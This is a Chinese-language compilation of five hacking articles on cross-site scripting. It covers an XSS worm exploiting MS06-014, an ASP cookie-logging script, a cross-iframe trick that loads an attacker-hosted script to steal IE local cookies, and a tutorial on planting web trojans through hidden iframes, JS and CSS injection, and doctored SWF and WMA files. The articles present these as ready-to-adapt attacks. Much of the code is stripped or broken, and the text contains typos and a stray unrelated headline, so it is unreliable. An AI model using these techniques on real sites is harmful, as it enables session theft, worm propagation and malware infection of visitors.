下面就是小编给大家整理的跨站结合MS06014实现XSS worm脚本安全,本文共5篇,希望您能喜欢!

篇1:跨站结合MS06014实现XSS worm脚本安全
首先我已经在 《XSS worm初尝试》forum.eviloctal.com/read-htm-tid-24263-page-e.html 这个帖子里详细说明了SOHU这个XSS漏洞.这个漏洞要写出XSS worm有两个限制:
1.XSS代码长度限制,不能超过字符,
分析:写成JAVACRIPT后需转HTML编码十进制,一小段便超过2000字符了。
2.“域权限”限制。
分析:XSS worm的POST数据相关代码不能从站外调用,通俗点讲就是不能站外提交数据,包括调用外部JS用document.write方法,所以只能把POST数据的代码全部写到XSS里。
从正常的脚本代码上估计是没什么方法了,只有靠浏览器的漏洞,突破以上两点的思路:
1.直接用XSS代码写一个框架网页.
Quote:
javascript.:for(i=0;i
2.利用MS06-014漏洞创建本地权限POST数据. xss-worm.htm 代码如下:
Quote:
分析:xss-worm.htm也就是框架网页,提交恶意XSS数据到浏览者的资料里,至于恶意XSS数据也就是第一步写框架网页修改个人资料所抓的包的内容,同时浏览者也会自动加一个友情连接,
总结:当浏览者进去XSS worm页面,就会自动修改自己的个人档案加入恶意XSS内容,同时其他浏览者也会传染,唯一的限制就是浏览器必须没有打MS06-014的补丁。
篇2:跨站脚本攻防之道脚本安全
作者:Xylitol
译者:riusksk( 泉哥)
摘要:
1> 何为跨站(XSS)?
2> 存在跨站的代码
3> Cookie劫持
4> XSS防御
5 破坏方式
6 绕过字符过滤
7 Flash攻击
8 上传文件XSS
9 跨站钓鱼
何为跨站(XSS)?
XSS又叫CSS(Cross Site Script) ,跨站脚本攻击(译注:因为Cross Site Script的缩写是CSS,但CSS在网页设计领域中已经被广泛地层叠样式表,所以将Cross改为以发音相近的X作为缩写,但早期的文件还是会使用CSS来表示跨站脚本),它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。攻击者得到更高的权限后,可以利用存在漏洞的ActiveX控件,欺骗受害者浏览恶意站点来悄悄地在对方的的电脑上安装恶意软件(如间谍软件,远程控制软件,蠕虫等),也可以窃取机密的网页内容,会话的cookie以及许多其它信息。
2.存在XSS的代码
打开记事本,复制并粘贴以下脚本代码:
Simple XSS vulnerability by Xylitol
Simple XSS vulnerability by Xylitol
Search:
关键代码:
Search result :
echo $_POST['Vulnerability'];
?>
By:
Search result :
if(isset($_POST['Vulnerability']))
{
echo htmlentities($_POST['Vulnerability']);
}
?>
篇3:cookie.txt脚本适合,跨站,脚本安全
<%
dim fs,log,logname,event
logname=“cookie_”& now & “.txt”
logname=replace(logname,“ ”,“_”)
logname=replace(logname,“-”,“_”)
logname=replace(logname,“:”,“.”)
logname=server.mappath(logname)
set event=request.servervariables(“QURYU_SRTING”)
set fs=server.createobject(“scripts.filesystemobject”)
log=fs.createtextfile(logname)
log.writeline event
log.close
set fs=nothing
reponse.redirect(“www.wolfexp.net/forum/index.php”)
%>
篇4:可行的iframe跨域XSS的实现脚本安全
很久以前看过一篇利用iframe跨域来XSS的文章
虽然也讲到用一个外域做xss proxy,但那文章里的条件限制太多,且建立在ie6的基础上,所以实现起来不靠谱,仅仅存在理论可能
经测试,大风的这篇文章是可行的,方法也确实比较绕比较猥琐,
原文如下:
今天这篇主要是要讲以下这么几件事情:
1. iframe的限制
2. 突破iframe获取本地cookie的思路
3. 利用Cross Iframe. Trick突破iframe安全限制
我的测试环境是: IE 7 (7.0.5730.13)
以下所有的内容全部经过我在IE7中测试,是真实有效的结果。
Iframe的限制:
因为iframe这个玩意比较特殊,所以浏览器对它一般都有一些限制。
首先父窗口不能控制子窗口的js,只能读取一些对象;子窗口也不能使用父窗口的js,也只能读部分对象,更多的比如document啥的都限制了。
关系如下:
- iframe’s should not be able to view content/cookies from another domain- iframe. children CAN view certain properties and execute certain behaviors - parent.window.blur - parent.window.opener - parent.window.length - others- iframe. children CAN redirect the parent frame. to a new location (great for phishing) - parent.location.href - parent.window.location
对于有些利用子窗口执行父窗口js的方法是限制的
比如,在子窗口里可以这么使用:
parent.location.href=“www.sohu.com”;
上面的语句将把父窗口重新定义到sohu的网站去.
但是如果想执行js,或者是读取document对象,则会被拒绝访问
parent.location.href=new String(“javascript.:alert(document.cookie)”);
parent.location.href=new String(“javascript.:alert(1)”);
像这两条都会被拒绝。
对于iframe,Firefox3 居然是不限制本地cookie发送的!也就是说,在Firefox环境里,使用iframe包含一个远程页面,是会将保存在本地的cookie发送出去的,这使得csrf会非常之方便。
但是IE不同,对于IE环境中,img和iframe标签都只能发送session cookie,无法发送本地cookie,所以很多时候CSRF会失败,这也会给XSS带来很大的麻烦,比如会使得XSRF更困难一些。
鉴于Firefox一点挑战都没有,所以今天主要研究的对象是IE。
在IE环境下,程序员们一般都是使用P3P协议来获取跨域cookie的,但是P3P也要求我们改写HTTP头,更麻烦,在这里,我纯粹使用一些脚本的技巧来突破这些限制。 ps:由于这篇文章也不新,所以这里讲的是ie7的情形,ie8 p3p也不行了
突破IFRAME限制的思路:(以下都是在IE环境中)
由于页面里的iframe都是发送的session cookie,所以子框架页面里本身是只有一个session cookie的,我们无法通过在子框架里执行js的方法来获取本地cookie,无中生有的事情是干不出来的。
了解这一原理后,思路就很明确了:想办法新起一个不受限制的窗口,从而获取本地cookie。
具体来说,有这么两个办法:
1、使用window.open打开一个新窗口
2、回到父窗口,让其打开一个新窗口
在子框架中,使用window.open确实可以发送本地cookie,但是问题是浏览器一般会限制页面弹窗口,会被拦截,所以这个方法比较~~,不是个好办法。 汗...
而第二个办法,回到父窗口去打开新窗口,就涉及到一个突破iframe执行脚本的问题,而这个问题在我的前一篇Cross Iframe. Trick 里已经解决了,所以我们的方法就呼之欲出了。
利用Cross Iframe. Trick突破iframe限制获取子框架cookie:
Cross Iframe的最大贡献就在于他可以绕过前面提到的iframe的限制,在父域或者子框架里获取对象,执行脚本。
当一个页面很难突破时,如果他包含了一个存在弱点的iframe页面,则可能会带来灾难性的结果。
我相信真正精通脚本攻击的人是能够看到它的用处和优势的。
环境如下:(绑定127.0.0.1 www.baidu.com)
www.a.com/1.html 是我们要攻击的页面,它包含了一个存在弱点的iframe,用户只会去浏览这个页面
www.baidu.com/3.html 是我们已经控制的页面,他作为一个iframe被1.html所包含。在这里是iframe. proxy
www.a.com/4.html 是www.a.com上的一个存在XSS漏洞的页面,一般情况下用户不会去访问它!
www.b.com/4.js 这是攻击者自己的服务器上的一个恶意脚本,将被XSS攻击远程载入4.html中。
由于用户只会浏览www.a.com/1.html,所以我们要通过脚本攻击,从www.a.com/1.html里获取用户在www.baidu.com/3.html的本地cookie。
www.a.com/1.html的代码如下:
---------------------------------- 我是聪明的分割线 -------------------------------------------
---------------------------------- 我是聪明的分割线 -------------------------------------------
它包含了一个iframe页面
www.baidu.com/3.html 的代码为:
---------------------------------- 我是聪明的分割线 -------------------------------------------
---------------------------------- 我是聪明的分割线 -------------------------------------------
3.html是我们的iframe. proxy,利用它来完成在www.a.com里执行脚本的工作,
www.a.com/4.html 的代码为:
---------------------------------- 我是聪明的分割线 -------------------------------------------
This is 4.html!
---------------------------------- 我是聪明的分割线 -------------------------------------------
www.b.com/4.js 的代码为:
---------------------------------- 我是聪明的分割线 -------------------------------------------
alert(“4.js is loaded!”);
top.tt1(’\’>
---------------------------------- 我是聪明的分割线 -------------------------------------------
4.js才是我们真正利用XSS漏洞和Cross Iframe. Trick来新起一个窗口,从而获取本地cookie的方法。
www.baidu.com/2.html的代码很简单,他的作用是查看当前的cookie:
---------------------------------- 我是聪明的分割线 -------------------------------------------
---------------------------------- 我是聪明的分割线 -------------------------------------------
在这里攻击流程是这样的:
www.a.com/1.html----iframe---->www.baidu.com/3.html----动态iframe--->www.a.com/4.html的XSS漏洞 ------>在www.a.com域中远程加载www.b.com/4.js
4.js动态调用www.a.com/1.html里的 tt1() 函数,并篡改参数,写入一个form,利用js动态提交该表单,这时候提交的表单,就自动带上了本地cookie了
这里的思路非常霸气~
整个过程运行结果如下:
首先访问 www.a.com/1.html[attach=125]
可以看到这个时候在www.baidu.com/3.html 中弹出的是session cookie,可以对比下我们最后结果里弹出的本地cookie接下来,3.html将构造iframe. proxy[attach=126]
可以看到,由于www.a.com/4.html里的XSS漏洞被利用,所以远程js被加载了[attach=127]
远程js继续调用top1.tt1(); 这个函数,同时篡改它的参数,参数如上图显示。接下来将把这个参数注入到tt1()函数中,由于tt1()函数中存在一个 document.write,所以它将改写页面,并且构造一个form表单,重新提交到www.baidu.com/2.html[attach=128]
由于在form表单中,利用了img标签的onload事件,使得img一加载就提交form,所以很快就自动获得了cookie。
可以看到,此时获取的,就是www.baidu.com/2.html 保存的本地cookie!
需要注意的是,在4.html中,即使把 top.tt1()改成了 document.write(),也无法获取本地cookie,想来应该还是因为iframe限制的问题。
以上,就是利用Cross Iframe. Trick的技巧来突破iframe限制的方法,其意义在于跨页面攻击、跨域攻击、突破iframe的限制,等等,大大丰富了脚本攻击的方法。
不知道我这篇是不是又在白写,如果有人能把我给出的POC好好调一遍,会发现这里面还是很有趣的。
最后,再讲讲,有的人可能会提出疑问,能构造iframe. proxy,是否可以直接用来挂马?
是的,当然可以直接用来挂马,但是挂马却是更加复杂的一种攻击,要求有好的浏览器漏洞,好的木马,能够对抗主动防御的shellcode,同时,根据需要获取的数据不同,有时候挂马也并不能达到目的。比如,攻击的目标是网站里的数据,如果网站有SSL保护,有防键盘记录一类的程序,则会更加麻烦。
篇5:跨站挂马全攻略脚本安全
题记:这是我在《 X档案》08年第5期发表的一篇文章,对跨站与挂马做了比较全面而深入的讲解,
转载请注明版权:a1pass.blog.163.com/ A1Pass 《 X档案》
现在的 攻击手法中,跨站挂马似乎正在逐渐成为攻击的主流话题,鉴于这种形势,俺就把我学习跨站挂马的一点心得总结出来与大家分享。
由于考虑到知识的认知过程以及入门朋友们的技术底子问题,本文将分为“基础知识”、“跨站漏洞”与“挂马技巧”三部分组成,咱们先来学习一下基础知识,以及跨站攻击的利用方法。
一、基础知识
1、什么是UBB码
XSS攻击主要在两种环境下进行,一个是用户自己构造的比标签,构造者汇总标签要严格遵循HTML标记语言,而UBB码是HTML的一个变种,属于系统提供的标签。UBB代码简单,功能很少,但是由于其TAG语法检查实现非常容易,所以许多网站引用了这种代码,以方便广大网友的使用,当然,同时也为我们打开了方便之门。
下面我列出几个例子,以便大家对UBB码有一个感性的认识。
显示为粗体效果:文字
显示为斜体效果:文字
显示文字的超链接:[URL= www.hackerxfiles.net/] X档案官方站[/ URL]
通过上面的例子,我们可以看出来UBB码用的是中括号标签“[”与“]”。
为什么介绍这些?因为关键时候,我们借助UBB码也可以达到跨站的效果。
2、什么是HTML输入
大家看到这的时候,有条件的可以打开X档案的网站看看,我们在IE浏览器的页面中单击右键,选择“察看源文件(V)”选项,如图1。
然后就会弹出如图2那样一个以首页文件命名的记事本。
我们可以看见里面的代码都是用“<”与“>”括起来的,而这个“<”与“>”分别就是HTML的开始与结束标记。例如我们输入、<“width=”120“ height=”120“ />三个单独的语句,我们可爱的
&{[code]} [N4浏览器]
[N4浏览器]
[N4浏览器]
[IE浏览器]
[Mozilla浏览器]
[IE浏览器]
[\xCO][\xBC]script.>[code][\xCO][\xBC]/script.> [UTF-8;IE;Opera浏览器]
上面的内容是我参考安全焦点出版的《网络渗透技术》做的摘录。
五、挂马技术
对于挂马,强烈要求大家带着学习的目的去钻研,不要拿出去害自己的同胞……
1、什么是挂马
最近看中央电视台的一个有关于 的节目,字幕上竟然把“挂马”显示成“挂码”!估计是对 技术不了解所致。但是也可以看得出来大家对于挂马技术的陌生。
其实通过名字就可以知道一二,挂马就是指一种将木马程序“挂”到大家比较信赖的网站上,从而使得浏览此网站的网民电脑被非法植入木马的行为。
如果挂马技术比较成熟,被挂马的网站服务人员与浏览此网站的网民一般很难察觉!所以说挂马具有隐藏性好,危害巨大的特点,大家试想一下,如果百度首页被挂马,那么后果会怎样?只需1天就会有上千万人的电脑被非法控制!
2、挂马的原理
关于挂马技术,与XSS基本一致,但貌似比XSS技术的门槛低。而就夸马的方式来说,一个是通过漏洞挂马(例如XSS),一个是通过拥有的绝对权限挂马,例如我们利用WEBShell进行批量挂马。但是不管是利用什么方法,只有我们有良好的挂马代码才会获得比较好的效果……
挂马的基本思想就是利用本地溢出漏洞构造下载执行的ShellCode,从而下载并执行指定的程序,如图8。
关于溢出漏洞,可以是IE本身存在的漏洞,可以是与IE有联系的漏洞,例如WORD、FILASH、WMA音频等等,
3、挂马实战
挂马于XSS一样,都有一个“基本代码”,而挂马的基本代码则是:
通过上面的学习,相信入门的朋友对HTML已经有点了解了吧?我们可以看到这是一个包含< ifarme>标签的代码,< ifarme>标签是用来在网页内嵌入另一个页面的,如图9就是一嵌入页面。
通过代码我们很容易就能知道他嵌入的是一个宽[width]为500像素,高[height]为100像素的页面,通过对比,我们可以发现本文例子的宽和高都是0,这就起到了隐藏访问木马网页的目的。
但是现在稍微有点安全常识的人都知道查找关键字ifarme了,所以要实行有效的挂马,最好是使用其它的挂马技巧。而另外一个常用的方法就是JS挂马了,这里的JS和我们上面谈到的JavaScript一样,JS挂马当然是先创建JS文件,我们先建一个记事本,将以下代码输入到里面。
Top.document.body.innerHTML = top.document.body.innerHTML +’\r\n
然后依次选择“文件”>“另存为(A)…”保存为.js文件,如图10。将其上传到你所能控制的服务器中。
现在我们只要在那个网页中插入< script src=你的JS文件保存地址>,以后只要有人浏览这个页面就会偷偷的转向我们JS文件里的www.***.com/muma.htm,从而达到挂马的目的。
这种方法很好的避开了关键字ifarme,只要我们的JS文件的名称起的具有迷惑性,一般的应该都可以蒙混过关。如果还想要更加隐蔽的方式,那就只有使用CSS来挂马了。
通过上面的文章大家应该对CSS有所了解,CSS是层叠式样式表的简称,也就是说我们可以利用层叠式样式表来挂马,熟悉网页设计的都知道,凡是比较复杂漂亮的页面,一般都要用到层叠式样式表,而且层叠式样式表的代码繁杂,从而有效地掩护了我们的挂马代码。
我们只要在CSS文件中包含以下代码即可。
Body{
Hytop: expression(op.document.body.innerHTML = top.document.body.innerHTML +’\r\n
}
然后在我们要挂马的页面引用这个CSS文件就可以了,引用代码如下。
有了这三种方法撑腰,你的网马挂的应该算是比较成熟了,但是除此之外,我们还有其它比较另类的挂马方法,正可谓剑走偏锋,出其不意!
第一个要介绍的就是“臭要饭的”写的“IcodeToSWF”,它可以将我们的网页木马地址插入到SWF文件里,当别人兴高采烈的观看动画时,他已经成为我们粥中的肉鸡了!
关于IcodeToSWF的使用方法非常简单,我们代开文件后选择需要插马的SWF文件,然后输入我们的目马网址点击“给我插”就可以了,如图11。
最近总是听说网易博客中毒了!一听吓我一大跳!网易的BLOG还没智能到可以运行病毒的程度吧?最后经过调查发现,原来是WMA文件 了木马!
于是乎淘到了一款傻瓜化的WMA插马工具,我们只需输入木马地址与音乐地址保存即可,如图12。
不过这个工具毛病很多,例如WMA音乐的地址最好手动输入,不要粘贴,否则会出问题……
关于挂马就想讲到这里了,结束前在告诉大家一个技巧,关于HTML文件远程访问时我们可以将后缀名改为其它的,例如www.***.com/muma.jpg或www.***.com/muma.abcd都可以正常执行!除了HTML文件,JS文件也可以这样随意改动后缀名,甚至无后缀名都可以!
关于挂马,我最后要说的一句话就是“害人终害己”,切记!
到这里文章全部结束了,本想讲的更加详细一些,涉及的更广一些,但是想到憧憧不知的菜鸟们,使我努力将文章难度降低,以便于入门朋友的学习。关于这片文章,入门的朋友们不要看到代码就头大,其实大多数只是改个网址就可以应用的,为了方便广大读者,我已经将本文涉及到的所有应用代码整理初来,详情请见光盘。
由于时间仓促,本文难免有错误之处,还请广大读者指正!我的ID是a1pass,大家可以到X档案的论坛找我。
××××××××××××××××××××××××××××××××××××××
A1Pass后记:这其实是我07年6月写的文章了,但是一直到08年5月才发表,不过个人认为里面还是有一些东西值得各位读者去学习的。
转载请注明版权:a1pass.blog.163.com/ A1Pass 《 X档案》
★Discuz! moderation.inc.php 数据库注射 bug脚本安全
文档为doc格式